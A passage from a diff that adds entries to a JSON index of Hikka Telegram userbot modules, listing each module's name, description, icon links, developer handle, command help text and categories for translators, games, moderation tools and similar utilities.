"Tools", + "Chat" + ] + }, + "vsecoder/hikka_modules/feedbackbot.py": { + "name": "FeedbackBotMod", + "description": "FeedbackBot", + "meta": { + "pic": "https://img.icons8.com/fluency/344/feedback.png", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/fluency/344/feedback.png&title=Feedback&description=Feedback%20bot%20for%20Hikka%20modules", + "developer": "@vsecoder_m" + }, + "commands": [], + "new_commands": [], + "category": [ + "Fun", + "Tools" + ] + }, + "vsecoder/hikka_modules/MangaSlider.py": { + "name": "MangaSliderMod", + "description": null, + "meta": { + "pic": "https://img.icons8.com/color/256/kakashi-hatake.png", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/color/256/kakashi-hatake.png&title=MangaSlider&description=Read%20manga%20in%20Telegram%20%F0%9F%91%8D", + "developer": "@vsecoder_m" + }, + "commands": [], + "new_commands": [], + "category": [ + "Fun", + "Tools" + ] + }, + "vsecoder/hikka_modules/vsecodertranslate.py": { + "name": "VseTranslateMod", + "description": "Traslate text", + "meta": { + "pic": "https://img.icons8.com/external-vitaliy-gorbachev-lineal-color-vitaly-gorbachev/344/external-translate-online-learning-vitaliy-gorbachev-lineal-color-vitaly-gorbachev.png", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/external-vitaliy-gorbachev-lineal-color-vitaly-gorbachev/344/external-translate-online-learning-vitaliy-gorbachev-lineal-color-vitaly-gorbachev.png&title=VsecoderTranlate&description=Telegram%20Translate%20Bot", + "developer": "@vsecoder_m" + }, + "commands": [ + { + "vsetranslatecmd": " [from_language] [to_language] [text]\n.vsetranslate en ru Hello, world!" + } + ], + "new_commands": [ + { + "vsetranslate": { + "ru_doc": null, + "en_doc": null, + "doc": " [from_language] [to_language] [text]\n.vsetranslate en ru Hello, world!" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "vsecoder/hikka_modules/wikimod.py": { + "name": "WikiMod", + "description": "Module for wikipedia search", + "meta": { + "pic": "https://img.icons8.com/cute-clipart/344/wikipedia.png", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/cute-clipart/344/wikipedia.png&title=Wikipedia&description=Module%20for%20wikipedia%20search", + "developer": "@vsecoder_m" + }, + "commands": [ + { + "wikicmd": "<text> - search in wikipedia" + } + ], + "new_commands": [ + { + "wiki": { + "ru_doc": null, + "en_doc": null, + "doc": "<text> - search in wikipedia" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "vsecoder/hikka_modules/mazemod.py": { + "name": "MazeModMod", + "description": "Module for play maze", + "meta": { + "pic": "https://img.icons8.com/external-icongeek26-linear-colour-icongeek26/344/external-maze-game-development-icongeek26-linear-colour-icongeek26.png", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/external-icongeek26-linear-colour-icongeek26/344/external-maze-game-development-icongeek26-linear-colour-icongeek26.png&title=MazeMod&description=Telegram%20Maze%20Game", + "developer": "@vsecoder_m" + }, + "commands": [ + { + "mazecmd": " - generate maze and start play\nBased on... my code)" + } + ], + "new_commands": [ + { + "maze": { + "ru_doc": null, + "en_doc": null, + "doc": " - generate maze and start play\nBased on... my code)" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "vsecoder/hikka_modules/hentaimanga.py": { + "name": "HentaiMangaMod", + "description": null, + "meta": { + "pic": null, + "banner": "https://i.imgur.com/8UYznku.jpeg", + "developer": "@shadow_modules, @toxicuse, @vsecoder" + }, + "commands": [ + { + "rnd_hentai_mangacmd": "{hentai_api_name: optional} - рандомная хентай-манга" + }, + { + "get_hentai_mangacmd": "{hentai_api_name} {id} - получить хентай-мангу" + } + ], + "new_commands": [ + { + "rnd_hentai_manga": { + "ru_doc": null, + "en_doc": null, + "doc": "{hentai_api_name: optional} - рандомная хентай-манга" + } + }, + { + "get_hentai_manga": { + "ru_doc": null, + "en_doc": null, + "doc": "{hentai_api_name} {id} - получить хентай-мангу" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "vsecoder/hikka_modules/accounttime.py": { + "name": "AcTimeMod", + "description": "Module for get account time", + "meta": { + "pic": "https://img.icons8.com/fluency/344/timer.png", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/fluency/344/timer.png&title=Account%20Time&description=Get%20the%20account%20registration%20date%20and%20time!", + "developer": "@vsecoder_m" + }, + "commands": [ + { + "actimecmd": " - get the account registration date and time [beta]\nP.S. You can also send a command in response to a message" + } + ], + "new_commands": [ + { + "actime": { + "ru_doc": null, + "en_doc": null, + "doc": " - get the account registration date and time [beta]\nP.S. You can also send a command in response to a message" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "vsecoder/hikka_modules/lmfify.py": { + "name": "LMFIFYMod", + "description": "Let me find it for you in Google / Yandex", + "meta": { + "pic": "https://img.icons8.com/bubbles/344/google-logo.png", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/bubbles/344/google-logo.png&title=LMFIFY&description=Let%20me%20find%20it%20for%20you%20in%20Google%20/%20Yandex", + "developer": "@vsecoder_m" + }, + "commands": [ + { + "finditcmd": "{text} - find it in search engine" + } + ], + "new_commands": [ + { + "findit": { + "ru_doc": null, + "en_doc": null, + "doc": "{text} - find it in search engine" + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "vsecoder/hikka_modules/ascii.py": { + "name": "AsciiMod", + "description": "Module for convert image to ascii", + "meta": { + "pic": "https://img.icons8.com/color/344/asc.png", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/color/344/asc.png&title=AsciiMod&description=Module%20for%20convert%20image%20to%20ascii", + "developer": "@vsecoder_m" + }, + "commands": [ + { + "asciicmd": "<reply_to_image> - convert image to ascii" + } + ], + "new_commands": [ + { + "ascii": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply_to_image> - convert image to ascii" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "vsecoder/hikka_modules/quotes.py": { + "name": "QuotesMod", + "description": "Quotes by @vsecoder [beta]\n\nNow doesn't work stickers, gifs, video.\n(Fake stories later)\n\nThk t.me/Fl1yd, based on his SQuotes module\nThk t.me/hikariatama, recognize from VTT module", + "meta": { + "pic": "https://img.icons8.com/sf-black-filled/64/quote.png", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/sf-black-filled/64/quote.png&title=Quotes&description=Quote%20a%20message%20using%20vsecoder%20API", + "developer": "@vsecoder_m" + }, + "commands": [ + { + "qcmd": "<reply> [quantity] [!story] [!rec] [color] - Create nice quote from message(-s)" + }, + { + "fqcmd": "<@ or id> <text> -r <@ or id> <text> ... - Create fake quote" + }, + { + "sqsetcmd": "<bg_color/max_messages> <value> - Configure Quotes (text color automatically adjust to the background)" + } + ], + "new_commands": [ + { + "q": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply> [quantity] [!story] [!rec] [color] - Create nice quote from message(-s)" + } + }, + { + "fq": { + "ru_doc": null, + "en_doc": null, + "doc": "<@ or id> <text> -r <@ or id> <text> ... - Create fake quote" + } + }, + { + "sqset": { + "ru_doc": null, + "en_doc": null, + "doc": "<bg_color/max_messages> <value> - Configure Quotes (text color automatically adjust to the background)" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "vsecoder/hikka_modules/CheckMods.py": { + "name": "CheckModulesMod", + "description": "Module for check modules", + "meta": { + "pic": "https://img.icons8.com/color/344/antivirus-scanner--v1.png", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/color/344/antivirus-scanner--v1.png&title=Check%20module&description=Module%20for%20check%20modules", + "developer": "@vsecoder_m" + }, + "commands": [ + { + "checkmodcmd": "<module_link> or \"reply file\" or \"send file\" - perform module check" + } + ], + "new_commands": [ + { + "checkmod": { + "ru_doc": null, + "en_doc": null, + "doc": "<module_link> or \"reply file\" or \"send file\" - perform module check" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GD-alt/mm-hikka-mods/PremiumStickers.py": { + "name": "PSAMod", + "description": "Send premium stickers without premium! Advanced version of Hikariatama's module.", + "meta": { + "pic": "https://img.icons8.com/stickers/344/sticker.png", + "banner": null, + "developer": "@mm_mods" + }, + "commands": [ + { + "psacmd": "Sends from pack … sticker number … ." + }, + { + "psalistcmd": "Packs list." + } + ], + "new_commands": [ + { + "psa": { + "ru_doc": null, + "en_doc": null, + "doc": "Sends from pack … sticker number … ." + } + }, + { + "psalist": { + "ru_doc": null, + "en_doc": null, + "doc": "Packs list." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "GD-alt/mm-hikka-mods/GoogleTransRR.py": { + "name": "GoogleTranslateMod", + "description": "Guaranteed to be the most advanced and feature-rich message translation module based on Google Translate,\nwith many useful features.", + "meta": { + "pic": "https://img.icons8.com/color/344/input-latin-letters-emoji.png", + "banner": null, + "developer": "@mm_mods" + }, + "commands": [ + { + "autotranslatecmd": "Use language code with this command to add this chat to autotranslate list." + }, + { + "onboardhcmd": "Syntax manual." + }, + { + "dllapcmd": "Downloads languages name pack for entered language. Allows to search languages through .searchlang on your own language." + }, + { + "dellapcmd": "Deletes custom language pack." + }, + { + "deflangcmd": "Use language code with this command to switch basic translation language." + }, + { + "searchlangcmd": "Searching language by code or name (RU and EN names avaliable — if you downloaded others, you may use them; first usage takes some time to configure database)." + }, + { + "silentmodecmd": "Use this command to switch between silent/unsilent mode." + }, + { + "subsmodecmd": "Use this command to switch autotranslate subscription mode." + }, + { + "markmodecmd": "Use this command to switch between showing/unshowing «translated» mark." + }, + { + "atlistcmd": "Sends a list of chats, in which autotranslate is turned on." + }, + { + "translatecmd": "In fact, it translates. Use (start;final) to mark the start and end language of the translation.\nLeave the start language blank to define it automatically." + } + ], + "new_commands": [ + { + "autotranslate": { + "ru_doc": null, + "en_doc": null, + "doc": "Use language code with this command to add this chat to autotranslate list." + } + }, + { + "onboardh": { + "ru_doc": null, + "en_doc": null, + "doc": "Syntax manual." + } + }, + { + "dllap": { + "ru_doc": null, + "en_doc": null, + "doc": "Downloads languages name pack for entered language. Allows to search languages through .searchlang on your own language." + } + }, + { + "dellap": { + "ru_doc": null, + "en_doc": null, + "doc": "Deletes custom language pack." + } + }, + { + "deflang": { + "ru_doc": null, + "en_doc": null, + "doc": "Use language code with this command to switch basic translation language." + } + }, + { + "searchlang": { + "ru_doc": null, + "en_doc": null, + "doc": "Searching language by code or name (RU and EN names avaliable — if you downloaded others, you may use them; first usage takes some time to configure database)." + } + }, + { + "silentmode": { + "ru_doc": null, + "en_doc": null, + "doc": "Use this command to switch between silent/unsilent mode." + } + }, + { + "subsmode": { + "ru_doc": null, + "en_doc": null, + "doc": "Use this command to switch autotranslate subscription mode." + } + }, + { + "markmode": { + "ru_doc": null, + "en_doc": null, + "doc": "Use this command to switch between showing/unshowing «translated» mark." + } + }, + { + "atlist": { + "ru_doc": null, + "en_doc": null, + "doc": "Sends a list of chats, in which autotranslate is turned on." + } + }, + { + "translate": { + "ru_doc": null, + "en_doc": null, + "doc": "In fact, it translates. Use (start;final) to mark the start and end language of the translation.\nLeave the start language blank to define it automatically." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "GD-alt/mm-hikka-mods/versteck.py": { + "name": "VersteckMod", + "description": "Work with VersteckAPI — download modules if you are common user, grant permissions for downloading if you are\ndeveloper!", + "meta": { + "pic": "https://img.icons8.com/emoji/256/locked-with-pen.png", + "banner": null, + "developer": "@mm_mods" + }, + "commands": [ + { + "newvcmd": "Create new Versteck." + }, + { + "delvcmd": "Delete Versteck." + }, + { + "newicmd": "Create new in-token." + }, + { + "delicmd": "Delete in-token." + }, + { + "testvconncmd": "Test Versteck connection." + }, + { + "vmlcmd": "Download module from Versteck." + }, + { + "updateotcmd": "Update out-token." + }, + { + "vcachefetchcmd": "Fetch local cache and return a file if found." + }, + { + "vcacheclearcmd": "Clear local cache." + } + ], + "new_commands": [ + { + "newv": { + "ru_doc": null, + "en_doc": null, + "doc": "Create new Versteck." + } + }, + { + "delv": { + "ru_doc": null, + "en_doc": null, + "doc": "Delete Versteck." + } + }, + { + "newi": { + "ru_doc": null, + "en_doc": null, + "doc": "Create new in-token." + } + }, + { + "deli": { + "ru_doc": null, + "en_doc": null, + "doc": "Delete in-token." + } + }, + { + "testvconn": { + "ru_doc": null, + "en_doc": null, + "doc": "Test Versteck connection." + } + }, + { + "vml": { + "ru_doc": null, + "en_doc": null, + "doc": "Download module from Versteck." + } + }, + { + "updateot": { + "ru_doc": null, + "en_doc": null, + "doc": "Update out-token." + } + }, + { + "vcachefetch": { + "ru_doc": null, + "en_doc": null, + "doc": "Fetch local cache and return a file if found." + } + }, + { + "vcacheclear": { + "ru_doc": null, + "en_doc": null, + "doc": "Clear local cache." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "GD-alt/mm-hikka-mods/YandexTrans.py": { + "name": "YaTranslateMod", + "description": "Guaranteed to be the most advanced and feature-rich message translation module based on Yandex Translate,\nwith many useful features (GoogleTrans, but rewritten). RR-version (Requirements Reduced).", + "meta": { + "pic": "https://img.icons8.com/color/344/input-latin-letters-emoji.png", + "banner": null, + "developer": "@mm_mods" + }, + "commands": [ + { + "yautotranslatecmd": "Use language code with this command to add this chat to autotranslate list." + }, + { + "yonboardhcmd": "Syntax manual." + }, + { + "ydllapcmd": "Downloads languages name pack for entered language. Allows to search languages through .searchlang on your own language." + }, + { + "ydellapcmd": "Deletes custom language pack." + }, + { + "ydeflangcmd": "Use language code with this command to switch basic translation language." + }, + { + "ysearchlangcmd": "Searching language by code or name (RU and EN names avaliable — if you downloaded others, you may use them; first usage takes some time to configure database)." + }, + { + "ysilentmodecmd": "Use this command to switch between silent/unsilent mode." + }, + { + "ysubsmodecmd": "Use this command to switch autotranslate subscription mode." + }, + { + "ymarkmodecmd": "Use this command to switch between showing/unshowing «translated» mark." + }, + { + "yatlistcmd": "Sends a list of chats, in which autotranslate is turned on." + }, + { + "ytranslatecmd": "In fact, it translates. Use (start;final) to mark the start and end language of the translation.\nLeave the start language blank to define it automatically." + } + ], + "new_commands": [ + { + "yautotranslate": { + "ru_doc": null, + "en_doc": null, + "doc": "Use language code with this command to add this chat to autotranslate list." + } + }, + { + "yonboardh": { + "ru_doc": null, + "en_doc": null, + "doc": "Syntax manual." + } + }, + { + "ydllap": { + "ru_doc": null, + "en_doc": null, + "doc": "Downloads languages name pack for entered language. Allows to search languages through .searchlang on your own language." + } + }, + { + "ydellap": { + "ru_doc": null, + "en_doc": null, + "doc": "Deletes custom language pack." + } + }, + { + "ydeflang": { + "ru_doc": null, + "en_doc": null, + "doc": "Use language code with this command to switch basic translation language." + } + }, + { + "ysearchlang": { + "ru_doc": null, + "en_doc": null, + "doc": "Searching language by code or name (RU and EN names avaliable — if you downloaded others, you may use them; first usage takes some time to configure database)." + } + }, + { + "ysilentmode": { + "ru_doc": null, + "en_doc": null, + "doc": "Use this command to switch between silent/unsilent mode." + } + }, + { + "ysubsmode": { + "ru_doc": null, + "en_doc": null, + "doc": "Use this command to switch autotranslate subscription mode." + } + }, + { + "ymarkmode": { + "ru_doc": null, + "en_doc": null, + "doc": "Use this command to switch between showing/unshowing «translated» mark." + } + }, + { + "yatlist": { + "ru_doc": null, + "en_doc": null, + "doc": "Sends a list of chats, in which autotranslate is turned on." + } + }, + { + "ytranslate": { + "ru_doc": null, + "en_doc": null, + "doc": "In fact, it translates. Use (start;final) to mark the start and end language of the translation.\nLeave the start language blank to define it automatically." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "GD-alt/mm-hikka-mods/Reactor.py": { + "name": "ReactTorMod", + "description": "Reacts manager.", + "meta": { + "pic": "https://img.icons8.com/stickers/344/diamond-heart.png", + "banner": null, + "developer": "@mm_mods" + }, + "commands": [ + { + "rshorthandcmd": "Add a shorthand for a reaction.\n/rshorthand <name> <emoji>" + }, + { + "dshorthandcmd": "Delete a shorthand for a reaction.\n/dshorthand <name>" + }, + { + "shorthandscmd": "Show all shorthands for reactions." + }, + { + "reactcmd": "React to a message.\n/react <name>/<emoji>" + } + ], + "new_commands": [ + { + "rshorthand": { + "ru_doc": null, + "en_doc": null, + "doc": "Add a shorthand for a reaction.\n/rshorthand <name> <emoji>" + } + }, + { + "dshorthand": { + "ru_doc": null, + "en_doc": null, + "doc": "Delete a shorthand for a reaction.\n/dshorthand <name>" + } + }, + { + "shorthands": { + "ru_doc": null, + "en_doc": null, + "doc": "Show all shorthands for reactions." + } + }, + { + "react": { + "ru_doc": null, + "en_doc": null, + "doc": "React to a message.\n/react <name>/<emoji>" + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "GD-alt/mm-hikka-mods/Dicedestroyer.py": { + "name": "DicedestroyerMod", + "description": "Keeps your chat clean from dices, darts and so on.", + "meta": { + "pic": "https://img.icons8.com/emoji/344/bullseye.png", + "banner": null, + "developer": "@minimaxno" + }, + "commands": [ + { + "deldicecmd": "Set deleting dices in this chat on/off." + } + ], + "new_commands": [ + { + "deldice": { + "ru_doc": null, + "en_doc": null, + "doc": "Set deleting dices in this chat on/off." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "GD-alt/mm-hikka-mods/CoVis.py": { + "name": "CoVisMod", + "description": "Visualise colors by those formules.", + "meta": { + "pic": "https://img.icons8.com/fluency/344/color-palette.png", + "banner": null + }, + "commands": [ + { + "hpiccmd": "Visualise HEX-coded color.\n.hpic <HEX-color>" + }, + { + "rpiccmd": "Visualise RGB-coded color.\n.rpic <RGB-color>" + }, + { + "spiccmd": "Visualise HSB-coded color.\n.spic <HSB-color>" + }, + { + "hdpiccmd": "Visualise HEX-coded color with color code on it.\n.hdpic <HEX-color>" + }, + { + "rdpiccmd": "Visualise RGB-coded color with color code on it.\n.rdpic (<RGB-color>)" + }, + { + "sdpiccmd": "Visualise HSB-coded color with color code on it.\n.sdpic (<HSB-color>)" + } + ], + "new_commands": [ + { + "hpic": { + "ru_doc": null, + "en_doc": null, + "doc": "Visualise HEX-coded color.\n.hpic <HEX-color>" + } + }, + { + "rpic": { + "ru_doc": null, + "en_doc": null, + "doc": "Visualise RGB-coded color.\n.rpic <RGB-color>" + } + }, + { + "spic": { + "ru_doc": null, + "en_doc": null, + "doc": "Visualise HSB-coded color.\n.spic <HSB-color>" + } + }, + { + "hdpic": { + "ru_doc": null, + "en_doc": null, + "doc": "Visualise HEX-coded color with color code on it.\n.hdpic <HEX-color>" + } + }, + { + "rdpic": { + "ru_doc": null, + "en_doc": null, + "doc": "Visualise RGB-coded color with color code on it.\n.rdpic (<RGB-color>)" + } + }, + { + "sdpic": { + "ru_doc": null, + "en_doc": null, + "doc": "Visualise HSB-coded color with color code on it.\n.sdpic (<HSB-color>)" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "GD-alt/mm-hikka-mods/Entziferrer.py": { + "name": "EntziffererMod", + "description": "Decoding QR codes.", + "meta": { + "pic": "https://img.icons8.com/stickers/256/qr-code.png", + "banner": null, + "developer": "@mm_mods" + }, + "commands": [ + { + "scancodecmd": "Scan a QR code." + } + ], + "new_commands": [ + { + "scancode": { + "ru_doc": null, + "en_doc": null, + "doc": "Scan a QR code." + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "GD-alt/mm-hikka-mods/MHelp.py": { + "name": "MHelpMod", + "description": "Helps to download mods to file and automaticaly make simple descriptions for your modules.", + "meta": { + "pic": "https://img.icons8.com/emoji/344/scroll-emoji.png", + "banner": null, + "developer": "@minimaxno" + }, + "commands": [ + { + "setuncmd": "Configurates GH username." + }, + { + "setrepocmd": "Configurates GH repo name." + }, + { + "descrcmd": "Makes decription. Required format:\nemoji > name > description > base language code, language codes to translate automatocally, … " + }, + { + "topycmd": "Gets module from link." + } + ], + "new_commands": [ + { + "setun": { + "ru_doc": null, + "en_doc": null, + "doc": "Configurates GH username." + } + }, + { + "setrepo": { + "ru_doc": null, + "en_doc": null, + "doc": "Configurates GH repo name." + } + }, + { + "descr": { + "ru_doc": null, + "en_doc": null, + "doc": "Makes decription. Required format:\nemoji > name > description > base language code, language codes to translate automatocally, … " + } + }, + { + "topy": { + "ru_doc": null, + "en_doc": null, + "doc": "Gets module from link." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "GD-alt/mm-hikka-mods/miyahost.py": { + "name": "MiyaHostMod", + "description": "Module to manage your miyahost.", + "meta": { + "pic": "https://img.icons8.com/stickers/344/block.png", + "banner": null, + "developer": "@mm_mods" + }, + "commands": [ + { + "mhinfocmd": "Get info about miyahost user." + }, + { + "mhstartcmd": "Start miyahost container." + }, + { + "mhstopcmd": "Stop miyahost container." + }, + { + "mhrestartcmd": "Restart miyahost container." + } + ], + "new_commands": [ + { + "mhinfo": { + "ru_doc": null, + "en_doc": null, + "doc": "Get info about miyahost user." + } + }, + { + "mhstart": { + "ru_doc": null, + "en_doc": null, + "doc": "Start miyahost container." + } + }, + { + "mhstop": { + "ru_doc": null, + "en_doc": null, + "doc": "Stop miyahost container." + } + }, + { + "mhrestart": { + "ru_doc": null, + "en_doc": null, + "doc": "Restart miyahost container." + } + } + ], + "category": [ + "Tools", + "Admin" + ] + }, + "GD-alt/mm-hikka-mods/AGA.py": { + "name": "AbsolutGrossartigAntwortMod", + "description": "Tired of people asking you questions? Let this module answer them for you!\nP.S. Author is not responsible for all your problems after using it.", + "meta": { + "pic": "https://img.icons8.com/stickers/344/block.png", + "banner": null, + "developer": "@mm_mods" + }, + "commands": [ + { + "agacmd": "Use this command to answer the question." + } + ], + "new_commands": [ + { + "aga": { + "ru_doc": null, + "en_doc": null, + "doc": "Use this command to answer the question." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GD-alt/mm-hikka-mods/GoogleTrans.py": { + "name": "GoogleTranslateMod", + "description": "Guaranteed to be the most advanced and feature-rich message translation module based on Google Translate,\nwith many useful features.", + "meta": { + "pic": "https://img.icons8.com/color/344/input-latin-letters-emoji.png", + "banner": null, + "developer": "@mm_mods" + }, + "commands": [ + { + "autotranslatecmd": "Use language code with this command to add this chat to autotranslate list." + }, + { + "onboardhcmd": "Syntax manual." + }, + { + "dllapcmd": "Downloads languages name pack for entered language. Allows to search languages through .searchlang on your own language." + }, + { + "dellapcmd": "Deletes custom language pack." + }, + { + "deflangcmd": "Use language code with this command to switch basic translation language." + }, + { + "searchlangcmd": "Searching language by code or name (RU and EN names avaliable — if you downloaded others, you may use them; first usage takes some time to configure database)." + }, + { + "silentmodecmd": "Use this command to switch between silent/unsilent mode." + }, + { + "subsmodecmd": "Use this command to switch autotranslate subscription mode." + }, + { + "markmodecmd": "Use this command to switch between showing/unshowing «translated» mark." + }, + { + "atlistcmd": "Sends a list of chats, in which autotranslate is turned on." + }, + { + "translatecmd": "In fact, it translates. Use (start;final) to mark the start and end language of the translation.\nLeave the start language blank to define it automatically." + } + ], + "new_commands": [ + { + "autotranslate": { + "ru_doc": null, + "en_doc": null, + "doc": "Use language code with this command to add this chat to autotranslate list." + } + }, + { + "onboardh": { + "ru_doc": null, + "en_doc": null, + "doc": "Syntax manual." + } + }, + { + "dllap": { + "ru_doc": null, + "en_doc": null, + "doc": "Downloads languages name pack for entered language. Allows to search languages through .searchlang on your own language." + } + }, + { + "dellap": { + "ru_doc": null, + "en_doc": null, + "doc": "Deletes custom language pack." + } + }, + { + "deflang": { + "ru_doc": null, + "en_doc": null, + "doc": "Use language code with this command to switch basic translation language." + } + }, + { + "searchlang": { + "ru_doc": null, + "en_doc": null, + "doc": "Searching language by code or name (RU and EN names avaliable — if you downloaded others, you may use them; first usage takes some time to configure database)." + } + }, + { + "silentmode": { + "ru_doc": null, + "en_doc": null, + "doc": "Use this command to switch between silent/unsilent mode." + } + }, + { + "subsmode": { + "ru_doc": null, + "en_doc": null, + "doc": "Use this command to switch autotranslate subscription mode." + } + }, + { + "markmode": { + "ru_doc": null, + "en_doc": null, + "doc": "Use this command to switch between showing/unshowing «translated» mark." + } + }, + { + "atlist": { + "ru_doc": null, + "en_doc": null, + "doc": "Sends a list of chats, in which autotranslate is turned on." + } + }, + { + "translate": { + "ru_doc": null, + "en_doc": null, + "doc": "In fact, it translates. Use (start;final) to mark the start and end language of the translation.\nLeave the start language blank to define it automatically." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "GD-alt/mm-hikka-mods/Rechte.py": { + "name": "RechteMod", + "description": "Group rights viewer and manager.", + "meta": { + "pic": "https://img.icons8.com/emoji/344/mechanical-arm.png", + "banner": null, + "developer": "@mm_mods" + }, + "commands": [ + { + "switchibcmd": "Switches inline bots using rights." + }, + { + "checkibcmd": "Checks inline bots using rights." + }, + { + "switchsendcmd": "Switches sending messages rights." + }, + { + "checksendcmd": "Checks sending messages rights." + }, + { + "switchmediacmd": "Switches media using rights." + }, + { + "checkmediacmd": "Checks media using rights." + }, + { + "switchstickerscmd": "Switches stickers using rights." + }, + { + "checkstickerscmd": "Checks stickers using rights." + }, + { + "switchgifscmd": "Switches gifs using rights." + }, + { + "checkgifscmd": "Checks gifs using rights." + }, + { + "switchgamescmd": "Switches games using rights." + }, + { + "checkgamescmd": "Checks games using rights." + }, + { + "switchembedcmd": "Switches links preview using rights." + }, + { + "checkembedcmd": "Checks links preview using rights." + }, + { + "switchpollscmd": "Switches polls using rights." + }, + { + "checkpollscmd": "Checks polls using rights." + }, + { + "switchinfocmd": "Switches info changing rights." + }, + { + "checkinfocmd": "Checks info changing rights." + }, + { + "switchinvitecmd": "Switches invite rights." + }, + { + "checkinvitecmd": "Checks invite rights." + }, + { + "switchpincmd": "Switches pin message rights." + }, + { + "checkpincmd": "Checks pin message rights." + }, + { + "checkallcmd": "Shows all rights." + }, + { + "checkadminscmd": "Shows admins." + } + ], + "new_commands": [ + { + "switchib": { + "ru_doc": null, + "en_doc": null, + "doc": "Switches inline bots using rights." + } + }, + { + "checkib": { + "ru_doc": null, + "en_doc": null, + "doc": "Checks inline bots using rights." + } + }, + { + "switchsend": { + "ru_doc": null, + "en_doc": null, + "doc": "Switches sending messages rights." + } + }, + { + "checksend": { + "ru_doc": null, + "en_doc": null, + "doc": "Checks sending messages rights." + } + }, + { + "switchmedia": { + "ru_doc": null, + "en_doc": null, + "doc": "Switches media using rights." + } + }, + { + "checkmedia": { + "ru_doc": null, + "en_doc": null, + "doc": "Checks media using rights." + } + }, + { + "switchstickers": { + "ru_doc": null, + "en_doc": null, + "doc": "Switches stickers using rights." + } + }, + { + "checkstickers": { + "ru_doc": null, + "en_doc": null, + "doc": "Checks stickers using rights." + } + }, + { + "switchgifs": { + "ru_doc": null, + "en_doc": null, + "doc": "Switches gifs using rights." + } + }, + { + "checkgifs": { + "ru_doc": null, + "en_doc": null, + "doc": "Checks gifs using rights." + } + }, + { + "switchgames": { + "ru_doc": null, + "en_doc": null, + "doc": "Switches games using rights." + } + }, + { + "checkgames": { + "ru_doc": null, + "en_doc": null, + "doc": "Checks games using rights." + } + }, + { + "switchembed": { + "ru_doc": null, + "en_doc": null, + "doc": "Switches links preview using rights." + } + }, + { + "checkembed": { + "ru_doc": null, + "en_doc": null, + "doc": "Checks links preview using rights." + } + }, + { + "switchpolls": { + "ru_doc": null, + "en_doc": null, + "doc": "Switches polls using rights." + } + }, + { + "checkpolls": { + "ru_doc": null, + "en_doc": null, + "doc": "Checks polls using rights." + } + }, + { + "switchinfo": { + "ru_doc": null, + "en_doc": null, + "doc": "Switches info changing rights." + } + }, + { + "checkinfo": { + "ru_doc": null, + "en_doc": null, + "doc": "Checks info changing rights." + } + }, + { + "switchinvite": { + "ru_doc": null, + "en_doc": null, + "doc": "Switches invite rights." + } + }, + { + "checkinvite": { + "ru_doc": null, + "en_doc": null, + "doc": "Checks invite rights." + } + }, + { + "switchpin": { + "ru_doc": null, + "en_doc": null, + "doc": "Switches pin message rights." + } + }, + { + "checkpin": { + "ru_doc": null, + "en_doc": null, + "doc": "Checks pin message rights." + } + }, + { + "checkall": { + "ru_doc": null, + "en_doc": null, + "doc": "Shows all rights." + } + }, + { + "checkadmins": { + "ru_doc": null, + "en_doc": null, + "doc": "Shows admins." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GD-alt/mm-hikka-mods/GLyrics.py": { + "name": "GLyricsMod", + "description": "Get lyrics from Genius", + "meta": { + "pic": "https://img.icons8.com/emoji/256/musical-notes-emoji.png", + "banner": null, + "developer": "@mm_mods" + }, + "commands": [ + { + "lyricscmd": "Search for lyrics" + } + ], + "new_commands": [ + { + "lyrics": { + "ru_doc": null, + "en_doc": null, + "doc": "Search for lyrics" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "GD-alt/mm-hikka-mods/atoll.py": { + "name": "AtollMod", + "description": "Atoll — it's like am Atool (Admin Tool) but sounds nicer. Some basic moderation features, just for me. Clean\ndocs, pure user experience.", + "meta": { + "pic": null, + "banner": null, + "developer": "@mm_mods" + }, + "commands": [ + { + "mutecmd": "/mute [username | ID | reply] [time]\n[reason]\nMute a user for a specified time (sr Abbr:. `r1`). Add `del`, `delete` after time to delete the message." + }, + { + "kickcmd": "/kick [username | ID | reply]\n[reason]\nKick a user from the chat so he can return later. Add `del`, `delete` after command to delete the\nmessage." + }, + { + "bancmd": "/ban [username | ID | reply] [time]\n[reason]\nBan a user from the chat (sr Abbr.: `r0`. The user won't be able to return until you unban him. Add `del`,\n`delete` after time to delete the message." + }, + { + "warncmd": "/warn [username | ID | reply]\n[reason]\nWarn a user. If the user has too many warns, he will be restricted (you can set settings in config). Add `del`,\n`delete` after time to delete the message." + }, + { + "srcmd": "/sr [username | ID | reply] [rights] [time]\n[reason]\nSet rights for a user for a specified time.\nRights are a sequence of numbers from 0 to b:\n0 - view_messages; 1 - send_messages; 2 - send_media; 3 - send_stickers; 4 - send_gifs; 5 